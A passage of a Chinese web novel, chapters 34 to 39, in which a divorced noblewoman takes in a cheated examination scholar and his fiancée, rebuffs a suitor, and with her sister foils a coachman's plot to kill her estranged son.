《主母冷院被关八年?和离高嫁你悔什么》 第三十四章得遇良才 姜清宁致谢点头,看向温子怡:“我们走吧。” 上了岸,姜清宁被温子怡扶着坐上牛车。 她歉疚道:“实在是不好意思,附近只知道这个牛车,你既然是国公府的邻居,想必定然没见过这种车吧。” 姜清宁摇头:“幼时随父亲去往庄子上踏青,曾见过牛车,一辆牛车能够养活一大家子,它的作用可比浮华的马车要实用得多。” “我是温子怡,斋郎名为卫斋,我们是前来京城科考的,原本今日就要走了,没想到走前还能认识清宁你。”温子怡被姜清宁的善解人意折服,开心地介绍着卫斋。 姜清宁却是诧异,小声的询问温子怡:“京城的科考上月已经结束,同知大人都已经分封官职了,卫兄可是落榜了?” 温子怡面色纠结,似乎是不知道怎么开口。 卫斋冷笑一声,讥讽道:“无妨的子怡,你就和她说两句,他们这些天家富贵庇佑的人自然就会懂了,我为何没有考上。” “斋郎!”温子怡面色不悦地呵斥,卫斋瞬间噤声。 “其中可是有什么不便言说的难处?”姜清宁小心地询问。 温子怡垂眸摇头:“实则不然,我是看清宁你是女子才说的,斋郎实则金榜题名,名次更是仅与状元和榜眼的探花郎,但却在接受宫里那位的提问之后,被人从隔帘后迷晕过去,被有权势的一家冒领了身份。” 姜清宁双眸微眯:“那你们为何不去报官?” “报官?自古以来官官相护,我们何尝没有报过官?可所有的官员都是何等地庇护那家人。”卫斋冷声道。 “那你们就这样放弃了吗?”姜清宁不解。 温子怡摇头,叹息着辩解: “自然不会,只是那户人家给了斋郎五十两买官位的银子,斋郎气不过扔入了河道之中,对方却当场倒打一耙说我们故意扔他的银子,要逼我们离开京城,所以……” “所以你们对京城的大小官员全部失望,就把希望寄托于街边一文钱一盏的花灯之上,祈求河神将这五十两银子还回来?” 姜清宁无奈地摇头,感叹他们的天真。 温子怡摇头:“自然不是,这只是我们临走前,对着繁华京城的告别,我和斋郎不适合待在这里。” 姜清宁好奇:“那你们日后打算如何做?” 温子怡憧憬道:“我们打算离开京城日后回乡开一家小茶馆,加上他还有着解元的名头,日后定然能够将日子过得红火!” “还是太天真了,你们可知在乡镇开一家茶馆需要多少银钱,光是一家好一些地段的铺子,便需要百两银子以上的租金,更何况你们还要聘请劳工,各种茶叶面食点心的成本。” “少则十年,多则五十年,你们都不能开得起一家茶肆。” 姜清宁毫不犹豫地打破温子怡最后的期盼,看着她微红诧异的眼眶勾唇。 “你若是说完就住嘴,否则我就将你扔下去!”卫斋皱眉看她,眼中满是怒火中烧的怒意。 “斋郎,不要对贵人如此无礼!”温子怡听懂姜清宁的暗示,连忙急切地训斥他。 “什么?”卫斋不可置信。 姜清宁点头,毫不吝啬地称赞:“你很聪明,没准真的有做生意的头脑,我可以借你们本金,就在京城开茶馆,但除了必要的一个条件之外,我还需要入股。” “你……为何要如此帮我们?” “因为你们两个是我走出囚笼后,遇到唯二的两个好人。” 姜清宁垂眸,微微叹息,“好人总是需要遇到贵人的,我可以当你们的贵人。” 温子怡和卫斋对视一眼,后者摇头拒绝,刚要开口婉拒,就被温子怡毫不犹豫地抬手捂住嘴。 “我答应你,必要的一个条件是什么!” “我要、他!”姜清宁颔首,抬手直指卫斋。 几乎是一瞬间,在场的四人全部安静下来,甚至哞哞叫的老黄牛,都一声不吭地闷头往前走了。 温子怡方才挺胸答应的模样瞬间消失不见,她结巴道:“不行,我们两个已经订过亲了,此次无论是否金榜题名,我和他都是要回去成婚的!” “我不要他的心,我要他的人。”姜清宁皱眉,解释道。 “咳咳咳、咳咳咳!”卫斋一口气卡在喉咙里,咳嗽得浑身通红。 “斋郎,你怎么样了?”温子怡担心地为他顺气。 卫斋抬头看着姜清宁志在必得的神情,握住温子怡的手道:“我答应你,卫斋愿意听从姜小姐的差遣。” 温子怡瞬间反应过来真的是她误会了,顿时羞得满脸通红,恨不得找个地缝原地钻进去才作罢。 “你很聪明,做什么都会有成果的,你足够的坚守,本身的文采若是能够得到证实,何愁不会有一番伟岸天地?” 姜清宁望着前方的秦国公府,眸中的神色意味不明:“你们放心,我姜清宁向来说到做到。” “既然答应成为我的人,便要立字据做我的人,今后也随我住在宁阁之中。” 二人点头,但眉宇间夹杂着淡淡的愁绪。 卫斋拱手道:“想必您就是安平伯的前妻了,能够从他手中平安脱离,还成为秦国公府的邻居,让秦世子亲自帮您除草修缮房屋,定然是为妙人。” 姜清宁低笑一声:“原来你听说过我的事迹。” 卫斋毫不避讳地点头,第一次展露自己眼底的野心。 他走下牛车,认真地躬身:“能否请姜小姐卖个人情,傅叔曾是遭受贬谪的文臣,后来流落他乡靠着讲学三十载买了这牛车,用它来送我们入京赶考,如今我和子怡找到归宿,恳请小姐为傅叔在府中留一落脚之地。” 姜清宁跳下牛车,望着面前不卑不亢的卫斋。 只觉得白清漪如今竟然是自己的福星,只是在河中游了一遭,就能够得遇三个有良才的能人。 这才是她姜清宁的命,自己给自己的福命。 “我自幼爱花,却未来得及采买花卉种植,如今府中还缺少一名花匠,虽然职位不重却足够养老,不知傅叔可愿意委身?” 姜清宁含笑看着傅叔,好看的眉眼遮住眼底的试探之意。 傅叔收回视线,拱手道:“老傅多谢小姐,能够不再风餐露宿,已经是我最好的归宿,老朽自然没有不愿意只说啊。” 第三十五章试探 “既然如此,那大家就随我一起进去吧。” 姜清宁含笑:“宁阁管事的是张嬷嬷,所有人都听她的差遣,我的贴身婢女名为紫苏,不过日后有的是时间认识。” “小姐先请。”傅叔主动道。 忽的门内跑出数人。 紫苏哽咽地喊道:“大家都快去随我找小姐,她被白夫人抓去沉河了。” 张嬷嬷悲痛地喊道:“我家小姐为何如此命苦!偏生什么窝心事都贪到小姐的身上!待找到小姐咱们定要报官!让同知大人为我们主持公道!” “敢伤我阿姐,早知道我就应该直接杀了她!”姜清晞怒气冲冲地提着剑走出来,在看到台阶下的姜清宁后,瞬间红了眼眶。 “阿姐?” 姜清宁接收到三人的视线,无奈地轻咳一声,走出他们的身后,抬步走上台阶。 她面含笑意地看着姜清晞,抬手捏了捏她的脸蛋:“你要杀了谁?” 姜清宁侧眸望去,和这些冲出来的家丁们面对面撞上。 “大、大小、大小姐?!”门房震惊地喊道。 “大小姐?大小姐在哪?!”张嬷嬷听到喊声,震惊地跑出来道。 张嬷嬷和紫苏几乎是并肩冲出来的,她们两个扑上去,连忙上下查看着姜清宁的状态,瞬间松了一口气红着眼眶掉眼泪。 紫苏痛哭流涕,她抱住姜清宁的胳膊撒娇:“大小姐,您没事就好,吓死紫苏了,紫苏以后再也不吃点心了,以后您走到哪里紫苏都跟着。” 姜清宁无奈地点了点她的额头,心知这个小丫头绝对是又发什么誓言了。 “你只管吃你爱吃的,白清漪抓我那是因为她恨我,你要是在场她能连你都一起抓走,所以这和你吃不吃点心没有直接的联系。”姜清宁柔声哄着紫苏。 张嬷嬷擦干净眼泪,目光扫视到台阶下的三人,她询问地看向姜清宁。 姜清宁暗暗点头:“这位是傅叔,他们二人分别是卫斋与温子怡,日后便在咱们府上久住,我打算让他们帮忙做生意,傅叔照料花草,今日还是他们三人将我送回来的。” 张嬷嬷闻言立即上前,快步走下台阶,感激地行礼道:“多谢三位救我家小姐,老奴感激涕零!” 傅叔连忙侧身躲过行礼,摆手道:“是大小姐自己从岸上爬上来的,我们只是送大小姐回府,却没成想日后便有了归处,说到感谢应当是我们感谢才对。” 卫斋将所有的人担忧神情映入眼帘,心中对姜清宁的看法反倒是上升几分,对隐约之间多了几分的信任。 他握紧温子怡的手,心中竟然幻想着,有朝一日或许他们以后结为真正的夫妻,没准儿当真能够在这偌大的京城开起一家茶馆。 姜清宁牵着姜清晞的手,小声地教训了她几句,听到傅叔的话含笑转身。 “大家都别在门外寒暄了,快进去吧。” “张嬷嬷先给傅叔与卫斋在前院准备出两间房间,温子怡住在后院,就住紫苏的隔壁吧。” “至于今日之事,紫苏带个小厮一起去报官,将今日的事情一五一十的全部说给同知大人,普天之下莫非王土,我就看她白清漪有几分胆量敢杀我。” 紫苏眼中充斥着愤怒:“小姐放心,奴婢一定一五一十的全盘托出!” 话音未落,她对众人行礼,当即指了个小厮,两人快步地朝着京兆府衙跑去。 “都进去吧,先洗个澡换身衣服,去去这满身的晦气。”姜清宁含笑,带着姜清晞率先入府。 张嬷嬷客气地做出请状:“三位里面请,我带傅叔与魏先生去你们的房间。” 傅叔摆手道:“不必如此客气,我和卫小友同住一间房便可,府中该怎么的制度就怎么来。” 卫斋颔首:“傅叔说的是,张嬷嬷不必见外,我们应当与府中众人一视同仁。” 张嬷嬷无奈,只能对两人的话应声。 姜清宁走在前面,听着后面两人的话,唇角微勾:“看来,这次出去还真的是捡了几个宝贝。” 姜清晞诧异:“阿姐是说的他们吗?一个书呆子,一个弱女子,一个瘦弱的老翁,还有一头老黄牛?” 她的双眸之中充满了不可思议,仿佛在说阿姐你当真没有骗我? 姜清宁被她震惊的可爱模样逗笑,含笑点了点她的脑袋,训斥道:“你入京这些时日,阿姐和你说过多少遍的不要以貌取人了,你就是不听。” “哎呀阿姐,我这不是在听了吗,我保证以后都听,你快和我讲一讲,他们到底有什么与众不同嘛……”姜清晞不依,和姜清宁撒娇道。 姜清宁眉眼含笑,宠溺道:“那你可听好了,阿姐只再和你讲这一遍。” 姐妹二人亲亲热热的走着进房间,温子怡满眼羡慕地看着,刚进入后院房门就能看到的这一幕,她艳羡道:“大小姐和二小姐的感情真好。” “大小姐和二小姐的感情的确好,不过按照府中大房的排序,大小姐应该称为二小姐,二小姐应该是称为三小姐的,因为他们上面还有一位嫡出的兄长。” “不过咱们府上没这些要求,甚至如今大小姐当家,大家便都称呼二小姐为大小姐。”张嬷嬷含笑解释,眉眼间满是幸福。 温子怡了然地点头,神情单纯:“那老爷夫人还有大公子是不在府上吗?” 张嬷嬷眸中的笑意消散七分,侧眸看了眼神情无辜,言语中却满是打探的温子怡。 她颔首道:“老爷夫人与大公子都在外城护卫一城百姓,如今家中女眷在家里守着,自然是大小姐掌家了。” “不过万不可因为大小姐掌家,就觉得大小姐的太过温柔,武将之女只会更加巾帼不让须眉,咱们大小姐啊,可是比身为女将军的夫人都要严苛至极的。” 张嬷嬷话锋一转,含笑道:“方才听说温姑娘与卫先生是未婚夫妻,你们看起来当真是极为般配的。” 温子怡惊喜道:“嬷嬷也这样觉得吗?我们村里所有人都这样说,他们都说我长得白,像是县城里的小姐。” 第三十六章浪荡子秦休 “后来父亲担心我吃不了苦,把我许配给村长的儿子,但我不愿意被气得投河,若不是斋郎救了我,我和他断不会有今日的姻缘的。” 温子怡脸颊绯红,神情之中满是少女的娇俏。 “温姑娘与卫先生天造地设。” 姜清宁沐浴更衣之后,换了身湖蓝色散花纱裙,裙摆处的彩蝶纹样随着步伐翩然欲飞,银线勾勒的云纹在阳光下泛着细碎的光芒,腰间禁步上的翡翠坠子随着莲步轻移叮咚作响。 她走出主卧,出现在众人的视线之中,望着他们震惊的神色,诧异地摸了摸自己的脸。 “我脸上是有什么东西吗,在哪里?” 姜清晞得意地跟着走出房门,与有荣焉道:“阿姐,他们明明是被你的美貌震惊了,可不是你的脸上有什么东西哦” 姜清宁无奈地转身,点了点她的额头:“你呀,就知道取笑阿姐。” 温子怡震惊地上前,摇头道:“不、二小姐说的是真的,现在的大小姐和方才的大小姐当真是判若两人。” “和刚才差异很大吗?”姜清宁背脊一僵,心底浮现不好的预感。 “你刚出现在我们面前的时候,宛若水鬼,浑身上下顶着河草,脸上身上全部都是淤泥。” 卫斋抱臂评价,姜清宁觉得忽视他刻薄的话语,穿着一袭白衫被衬得眉目俊朗的他,倒真有得志几分少年的意味。 温子怡都听出来了卫斋的话有多损,她连忙抬手掐着他腰间的软肉,将人掐得龇牙咧嘴,一身粉裙衬得她娇俏温婉。 “斋郎,你不会说话的话,还是不要说话好了。” 此话一出,在场的所有人分别被逗得哈哈大笑。 姜清宁抿唇浅笑,上前给出他们一个任务:“你们刚入京城,想必只顾的科考,都未曾好好地看过京城的风光。” “这里是一百两银子,既然你们想要开茶馆,那就要知道京城茶馆最擅长的茶水是哪几类,他们都会配上什么点心,还有没有别的菜品,分别在什么时间段上,哪类季节出什么茶水点心,应季喝什么茶最好,我给你们七天时间将全京城的茶馆搞明白。” 姜清宁话音落下,张嬷嬷掏出一大袋银子,递给站在中间的温子怡。 “我长这么大,都还没有见过这么多的银子,大小姐出手可真阔绰。”温子怡拿着银子,双手有些颤抖。 随后,她战战兢兢地开口:“要不,我还是签个死契吧,不然这尝试的银子撒出去,我当真是良心难安。” 温子怡满脸的惊恐,引得姜清宁摇头。 她坚定道:“我姜清宁做生意,只会做全京城最好的生意,你们只管放心去品鉴,一切的费用自然有我来出。” “知己知彼,方能百战不殆。” “如若连一开始的成本都舍不得支出的话,那我也做不了什么大生意。” 温子怡刚要开口,他们的身后便传来躁动的声响,众人朝着前院望去。 姜清宁皱眉,率先走到众人的前面,大步的朝着前院走去。 然而刚走出拐角,她就被一身绯红的男子抱了个满怀。 “你……”姜清宁满脸的错愕,她侧眸看去,将秦休的脸看了个清楚。 “你没事,真的是太好了。”秦休紧紧地抱着怀中的人,仿佛她险些消失一般。 姜清宁心底震撼,秦休这是什么意思? 她联想到秦休自从出现在安平伯府门外后,产生的一系列所有的举动,内心瞬间产生一个荒诞至极的猜测。 难不成……秦休是真的喜欢她? 姜清晞快步跟出来,绕过一群震惊在原地呆愣住的人,好奇地凑上去一看,就见自家阿姐正在被那个满口谎话的男人抱着。 “骗子,你快放开我家阿姐!”姜清晞大怒,瞬间她提着剑就要砍上去。 秦休抱着姜清宁一个转身,躲过姜清晞的长剑,后者怒不可遏的提剑就要追上去。 紫苏报官之后,心情安稳的带着小厮顺道一拐弯,去买了姜清宁姐妹爱吃的糕点,她蹦蹦跳跳的走入前院就见姜清晞在追着秦休砍。 紫苏浑身一震,连忙冲上去大喊:“二小姐刀下留人!!!秦世子是我刚才找到去救小姐的人!” 姜清晞一愣,手中的力道却是收不回来了,她连忙调转剑身,用剑柄对着秦休攻过去。 只见方才躲得有来有往的秦休,仿佛是忽然变得柔弱了似得,被她一剑柄狠狠地击倒在地。 “呃……”秦休松开禁锢着姜清宁胳膊的手,捂着胸口,面色痛苦的倒地。 青之震惊的瞪大眼睛,根被没想到秦休还有这样的一面。 他接收到秦休的眼神示意,瞬间嚎了一声扑上去,哭天喊地道:“大人,你怎么了大人,大人你没事吧?” 秦休配合的坐起身,依靠着他开始皱眉底咳。 “你…”姜清晞震惊的看着自己的手,方才她在接触到秦休的那一刻,已经控住好力道收了回去,顶多只有三分力不到啊。 难不成这秦休除了是个大骗子之外,还是个弱不禁风的病秧子? 那更不能让他居心叵测的接触阿姐了,她阿姐可不能嫁给一个病秧子。 姜清宁无奈地看了眼姜清晞,怪罪道:“都和你说了多少遍了,出门在外千万收着自己的脾气,你倒好全部都当成耳旁风。” 姜清晞皱了皱眉,乖巧道:“阿姐教训的是。”方才她其实是想顶撞说现在是在家里,但说了阿姐肯定会更加生气的。 姜清晞左思右想,觉得还是不要说得好,省得再将阿姐气病了。 秦休垂着眸底咳,暗中加大握着青之手的力道。 青之扯着嗓门喊:“大人您没事吧大人?您千万不要有事啊,您这本就因为上次剿匪受了内伤,这次万一再伤着可怎么是好啊!” 姜清宁闭了闭眼,转身关怀地蹲下身子,凑近秦休问道:“秦世子可还好,家妹性格莽撞,还以为秦世子是什么私闯民宅的浪荡子,故意的欺辱我才忍不住出手的。” “未曾想这个浪……竟是秦世子关心我,才会言行无状,秦世子放心我可以原谅你的。” 第三十七章这是阿姐的孩子?! 青之被姜清宁的一番言论震惊道,开口就要替秦休讨个公道。 秦休掐了下青之的腰,示意他将自己松开,后者无奈只能听话的行事。 姜清宁将二人的互动看在眼中,眼底浮现一抹了然之色,歪头含笑道:“秦世子身子好了?” 秦休轻咳一声,正色道:“劳烦姜大小姐牵挂,这会儿缓了许久,倒是觉得好多了。” 她并非是不经人事的存在,秦休次次的举动或许在先前来说,就像是刻意的骚扰一般。 可方才的那个拥抱,却是证明她先前将秦休想的坏了许多,这人年纪比她小上几月,可说话做事倒是显得幼稚倔强几分。 如今猜测到他的心思,姜清宁反倒是有了几分理解。 喜欢一个人的时候,就是即便对方很是烦躁,亦是想要忍不住的靠近。 就像当初她对待荀臣,原以为八年的热情,即便是壶冰水都能被她捂得滚烫,可荀臣偏偏真的是那个例外。 “今日还要多谢秦世子不辞辛劳的寻我,但如今我已经平安归家,紫苏也已经去过府衙报官,想必一起已经自有定数,就不劳烦秦世子相帮了。” 姜清宁回神,站起身望着他道。 秦休仰头和姜清宁对视,仰视的角度将她眼底的清淡冷漠看得一清二楚,这人是真的不想和他有任何牵扯的模样。 他心里仿佛有种说不出的滋味,仿佛全世界的蛇胆都在自己肚子里翻腾,他受不了想要把这种苦吐出,但在触及到姜清宁的眼神后又硬生生的咽了回去,空留他一口苦涩。 “多谢秦世子与青之今日仗义之举,但如今府中还有要事,就不强留秦世子用餐了。” 姜清宁清冷疏离的行礼,不给秦休一丝一毫产生希冀的举动。 秦休抿唇,起身刻意地避嫌道:“男女授受不亲方才是我的不对,秦休在此郑重地向你赔罪,既然姜大小姐不需要秦某的帮助,那秦某就先回大理寺府衙,若是有需要尽管让张嬷嬷或者紫苏前来找我。” “不会,恭送秦世子。”姜清宁当即想也不想地拒绝,她后退半步,语气坚定地低头行礼。 “恭送秦世子。”身后众人虽然不明所以,但依旧跟着行礼送客。 秦休动了动嘴唇,略带着几分自嘲的笑了笑,清淡雅致的声音里,带了一丝无奈与苦涩。 “好,你保重,不用送了。” 秦休摆手,转身带着身后的众人离开。 宁阁外。 秦休走下台阶,转身望着宁阁的牌匾,轻声问道:“这是谁写的?” 门房恭敬的行礼道:“启禀大人,这是我家大小姐亲自书写后,专门请工匠定制的牌匾。” “她本身就是非常有才华的人,又怎会因为我而停留住脚步呢。” 秦休语气自嘲,翻身上马,在青之欲言又止的神情中,双腿一夹马腹策马离开。 青之望着秦休孤寂的背影,转身看了看那牌匾,忍不住叹气道:“哎,这都是什么事啊!” 宁阁。 姜清宁转身看向傅叔:“傅叔,您先前在京城待过,就先带他们两人在京城逛一逛吧。” 傅叔点头,主动打破尴尬的氛围道:“都听大小姐的安排,您放心,我们一定能够完成任务的。” 话音落下,他给满脸八卦的温子怡和若有所思的卫斋一个眼神,二人当即恭敬地对姜清宁与姜清晞行礼,三人朝着府外走去。 姜清宁带着他们转身回府,眉眼间尽是清冷。 “先用膳吧,游了许久,我这会儿当真是饥肠辘辘的。” 张嬷嬷和紫苏听出姜清宁是想静一静,她们当即吩咐人快速的上菜,而后全部推出去用饭,将空间留给姐妹两人。 姜清晞偷偷看了眼安静用餐的姜清宁,犹豫着开口道:“阿姐,你好像很不开心,是因为方才那个秦世子吗?” 姜清宁回神,收起眼中的郁结,摇头道:“非也,不过是听着他的话和态度,想起了从前的自己罢了。” “一开始就没有结果的事情,就不要自己一个人闷头撞得遍体鳞伤了。” “我没有对他做出回应,便是不想留下不该有的罪孽。” “阿姐,你说的好生深奥,我虽然不懂,却是知道阿姐此时此刻并不开心,那能让阿姐不开心的男人自然是不能要的!” 姜清晞语气坚定,抬手给姜清宁夹了自己最爱吃的菜,认真地看着她:“我们以后一定要找一个自己喜欢的,而非外界或者内心感受到强求的男子!” “找不到就算了,就比如这道菜是我最爱吃的,可吃久了便会觉得腻味,但因为吃多了又会觉得食之无味弃之可惜,所以干脆从一开始就适可而止。” 姜清宁好笑地看着一堆大道理,讲得头头是道的人,忍俊不禁的抬手,捏了捏她肉乎乎的脸蛋道:“也就你个鬼灵精,能够逗得阿姐开心了。” “姜清宁!你个毒妇!你在哪里!姜清宁你给我滚出来!为什么死的不是你呢!” 一道稚嫩的童音,伴随着恶毒的诅咒响起。 姜清宁夹菜的手一顿,几乎顷刻间就反应过来这是谁的声音。 姜清晞瞬间愤怒不已,将筷子猛地扔出去,狠狠地钉进房门之中,她恼怒地站起身。 “哪家的孩子这么没有教养,竟然能平白地闯入别人家里肆意的辱骂主人!他爹娘没有好生地教导孩子吗?!” 张嬷嬷和紫苏快步跑进来,就见到门上钉着的一双筷子,还有提剑要去看了门外人的姜清晞。 “使不得啊二小姐!这可是大小姐的孩子,不能砍啊!”张嬷嬷连忙上去阻拦。 “什么?这是阿姐的孩子,那怎么会被养成这等的混账东西!” 姜清晞一愣,瞬间怒不可遏,“这样的孩子留着干什么,更要砍了让他早日投胎,洗心革面做个好人才对!” 张嬷嬷连忙夺过她手中的长剑,连同剑鞘一起让紫苏藏到床底。 她焦急地将人拉到一边:“哎呦!我的二小姐啊,大小姐此生绝对最对不起的除家人外,就是小公子了,您还是先听老奴解释吧……” 第三十八章身为母亲交给你的第一课 姜清宁安静的坐在原位,听着张嬷嬷对姜清晞的解释,一种说不出来的酸痛在她的心底翻涌,汹涌地冲到了她的咽喉处。 她望着窗外,唇角勾出了一丝很淡的轻笑,像是对自己的嘲讽一样。 “姜清宁你给小爷滚出来!你竟然敢谋害清漪姨姨!你这么恶毒的女人早晚不得好死!” “小公子您快别说了,大小姐不会想要见您的!” “小公子怎的自己跑出来了,现在外面都是人牙子,安平伯府的下人呢?” 姜清宁神情一顿,起身抬步走出门外,望着在人堆里挣扎的人,轻声唤着他:“荀莫离,你来干什么?” 荀莫离听到清冷的呼喊,瞬间忘记挣扎,抬眼远远的看着内院门边那抹淡蓝色的身影,却被震惊得心神一震。 这么美的女子,竟然是他的娘亲吗? “放开他,让他过来。”姜清宁嗓间发紧,紧紧地盯着只到小厮腰间的小人。 小厮们瞬间放开荀莫离,然而他就像是被钉在原地一样,不敢相信他一直厌恶的,给自己丢人的亲生母亲竟然是如此明珠生晕的美人。 “荀莫离,过来。”姜清宁望着他,重复一遍。 “小公子,您快过去吧,晚了大小姐生气可是很严重的。”小厮见荀莫离出神,连忙提醒。 荀莫离回神,一步步走到姜清宁的面前,他抬头望着神色严肃的姜清宁,心中直犯嘀咕。 “你、你、你为何……”荀莫离挠了挠头,不知道怎么开口质问。 “啪!” 一道响亮的耳光声,瞬间将所有人引了出来,姜清晞恰巧走出想要看看荀莫离长什么模样,就刚好见到姜清宁毫不犹豫甩他耳光的场景。 “嘶……好疼。”姜清晞下意识捂着自己的脸,小心地后退两步。 荀莫离眼眶瞬间红了,愤怒又委屈的盯着姜清宁,不懂为什么这才见到的母亲,却会毫不犹豫地抬手给他一个耳光。 “不知道我为什么打你,内心感到非常的疑惑是吗?”姜清宁轻笑一声,神色严肃地反问。 荀莫离委屈地点头,捂着脸蛋好不可怜。 “你怎么来的,又是谁告诉你我的地址?”姜清宁深吸一口气,双拳紧握,忍耐地询问。 荀莫离脑海中回想起,方才得知白清漪落水之中,祖母焦急地带着他去张府探望,可刚到那里白清漪就哭诉姜清宁不分青红皂白地将她推到水里。 荀莫离愤怒极了,这时有人在他的耳边说,必须要去找姜清宁给清漪姨姨出气,而后就有人趁乱指引着他出府。 “是一辆马车送我来的,我还没问你,你为何要将清漪姨姨推到水里,害得清漪姨姨不能再生育!” 姜清宁诧异,好笑地问他:“你是说我将你的清漪姨姨推到水里,那你可知我已经派人去官府报案,实为白清漪蓄意谋害我,想要将我推入水中沉塘,如今恐怕府衙已经调查完事情的全部过程,前去捉拿你的清漪姨姨了。” “那你不是没事吗?可清漪姨姨却因为受到你的牵连,被害得这辈子都无法生育了!” 荀莫离没想到这个时候,姜清宁还能够理直气壮地翻案,他一时之间口不择言,愤怒地用冰冷无情的话化作长矛,狠狠地刺向姜清宁的心口。 姜清宁垂眸安静地站在原地,眸中的光点稀疏破碎。 “哎,你个死小孩怎么说话的,活该你有娘生没娘养,你娘被你的好祖母不喜压着进入道观,被迫和你分离,如今你偏生不知道和她亲近,甚至蓄意诅咒,天底下怎么会有你这么恶毒的孩子!” 姜清晞冲出房间,瞬间拎起荀莫离的衣领,将他提起远离地面,荀莫离拼命地挣扎着:“你放开我,你个坏女人!” “姜清宁,你果真是想要杀了我,再生一个听话懂事的儿子,我不会如你所愿的!” 姜清宁自诩不会再因为从前的事伤心难过,但没想到今日荀莫离一出现,就打碎了她所有值得骄傲的坚守信心。 但她不屑于和不相信自己的人解释。 姜清宁望着脸色逐渐红肿的荀莫离,抬手握住姜清晞的手:“小妹,他毕竟是我的儿子。” 姜清晞眼中闪过凶狠,抬手将荀莫离扔到地上,负气地转身不再去看他们,但依旧守在姜清宁的身边以防这坏小孩再说不好听的。 姜清宁将荀莫离扶起来,贴心地为他拍了拍身上的尘土,抬手抹了下他微红的脸蛋。 每次责罚荀莫离的时候,她从来都是表面功夫做得极好,就是为了能够起到威慑荀莫离和他身边下人的举动,但没有一次是真的打过他的。 “荀莫离,你认真的感受一下,我每次打你的时候,当真很疼吗?” 荀莫离仔细地跟随着她的话去想,最后愕然地发现好像,竟然没有一次是疼的,他之所以鬼哭狼嚎就是因为担心害怕。 加上他幼时要母亲的时候,所有人都说他的母亲不好,是因为给安平伯府丢人,引得老夫人厌恶才会被送去道观修身养性。 “不疼。”荀莫离肉乎乎的脸蛋上挂着泪珠,抿唇心虚地将眼神撇到一处。 “这就是了,无论你怎么对我恶语相向,我都不会真的怪你,因为我虽然生了你但从未养过你,你怪我怨我都是应该的。” 姜清宁长叹一声,抬手为他擦去泪珠:“可有一件事我必须澄清,没有母亲会致自己的儿子与死的。” 荀莫离怔住,茫然地望着她。 姜清宁起身,居高临下地对疑惑的荀莫离道:“母亲今日教导你的第一课,那就是不要轻易地相信任何人,你不是我想杀了你,再生一个听话懂事的儿子吗?” “那你就去看一看,到底是谁想要杀了你,又是谁关键时候会保护你。” 荀莫离连忙后退,却被姜清晞转身抓住肩膀。 他神色惊恐道:“你要做什么?” 姜清宁嘴角扯住一抹诡异的弧度,歪头道:“这是母亲交给你的第一课,莫离,你要切身体会到才是。” 姜清晞坚定地点头:“阿姐放心,我一定让他好好地体会。” 第三十九章养不熟的白眼狼 一炷香之后。 荀莫离愤怒的走出宁阁,身后跟着一个丫鬟装扮的人,他气呼呼地抬步爬上马车,一个身影都不要给丫鬟看。 丫鬟对车夫怒骂道:“你怎的容许小公子独自一人出门?我家的大小姐狠狠地训斥了小公子,现在命我随着小公子一同回府,将人好生的送回去,等我回去告状有你的苦头吃!” 车夫一听瞬间犹豫起来,似乎不想要答应:“这我到底是安平伯府的仆人,并不是你们宁阁的,还请姑娘自己回去说吧。” 荀莫离掀开马车的车帘,冲她喊大道:“不是让你送我回去吗?还不快进来!我定要带着你回去向父亲告状!姜清宁竟然敢打我!” 车夫眼底闪过欣喜,皱眉对丫鬟道:“小公子都发话了,还不快进去!你们姜家的奴婢果然和主子一样倨傲!敢丝毫不把主人家放在眼里。” “说得好,回去小爷我定要让父亲好生地赏赐你!”荀莫离冷笑,抬手扔下马车帘。 车夫喜滋滋地道谢,在人都上去后当即驾车起程,荀莫离紧张地和姜清晞对视一眼,口型问她自己表现得怎么样。 姜清晞将他的反应看在眼里,嫌弃地轻啧一声,抱臂不去看他,徒留荀莫离坐在额外生闷气。 良久。 车厢内的震动越来越明显,荀莫离的眼中感受到一丝不安,他小心地掀开马车窗帘,却发现已经被人带出城门去了。 “你要带小爷去哪里?我们不是要回安平伯府吗?” 荀莫离惶恐不已,震惊地看着车夫,想要找到一个答案。 车夫狞笑一声,回头残忍地开口道:“小公子且坐好了,这可是您生前最后能看到的景色,倒不如好生的欣赏一下,马上您就看不到了!” “岂有此理!你竟然敢害小爷的性命!我一定要告诉父亲狠狠地将你打死!”荀莫离放完狠话,被满脸凶恶的车夫晃了马头直接摔倒在车厢内。 荀莫离跪趴在地上,感觉到膝盖和手腕都定是破了皮,火辣辣的疼痛,他强忍住眼中的泪水抬头去看。 姜清晞不知何时睁开了眼,双眼淡漠地望着他,仿佛就在看一个死物一般,引得荀莫离连连地咽口水。 “你要是死了,阿姐就不会对这京城有记挂了。” “你要是杀了我,姜清宁绝对不会放过你的!你都说了我可是她唯一的挂念!”荀莫离着急忙慌的说道,恨不得连忙证明自己的重要性。 “所以啊,你还是去死吧。”姜清晞歪头一笑,露出残忍弑杀的模样。 马车外车夫狂笑了声:“小公子!到了地狱可不要怪奴才心狠啊!要怪就怪你娘当了别人的路!你只能去死了!” 话音落下,车夫猛地跳下马车,马车的门帘被风吹开来,荀莫离惊恐地看着眼前近在咫尺的悬崖,双重打击之下直接被吓得两眼一晕昏倒了。 “废物。”姜清晞唾弃一声,抓起他的后领带人直接破窗而出。 姜清晞提着荀莫离平稳落地,看到车夫疯狂地朝着一边奔跑着,抬脚踢起地面上的石子,直接向对面的人击打去。 “啊!”只听哀嚎一声,车夫直接被击中后脑昏倒在地。 不远处快速出现一辆马车,随后急刹停在他们的面前,姜清宁急切地走出马车,快步走到姜清晞的面前。 “小妹,你可有受伤?” 姜清宁急切地查看她的安慰,方才远远地看到马车坠入悬崖,她当真是后悔极了,不该让姜清晞带着荀莫离一起去。 “阿姐放心吧,我没什么事情,就是这个小屁孩吓得晕倒了。”姜清晞嫌弃地将荀莫离拎出来。 一旁张嬷嬷连忙将他接过去,递给身后的小厮们照料。 “你没事就好,可真是吓死阿姐了。” 姜清宁后怕不已,转身眼神冰冷的看着那昏倒的车夫,身上的气势尽显。 “来人,将他绑起来嘴堵上,严加看守!” “是!”下人连忙应声。 姜清宁前者姜清晞的手,拉着她上马车道:“走,我们快些回去,让阿姐看一看你的伤有没有裂开。” 姜清晞满脸依赖,握着姜清宁的手,神情开心道:“没有,我将阿姐的嘱托记在心里了,并没有让自己的伤口开裂的。” 半夜。 荀莫离尖叫一声,猛然从噩梦之中惊醒,他坐起身大喘着气,环视陌生的房屋心中不禁疑惑。 难不成小爷真的死了? 门外传来脚步声,荀莫离吓得连忙起身躲到门后。 姜清宁这么多年来,早已经养成睡眠浅的习惯,她听到荀莫离的叫喊,从房屋中走出赶到他的门外。 咯吱一声。 房门被打开。 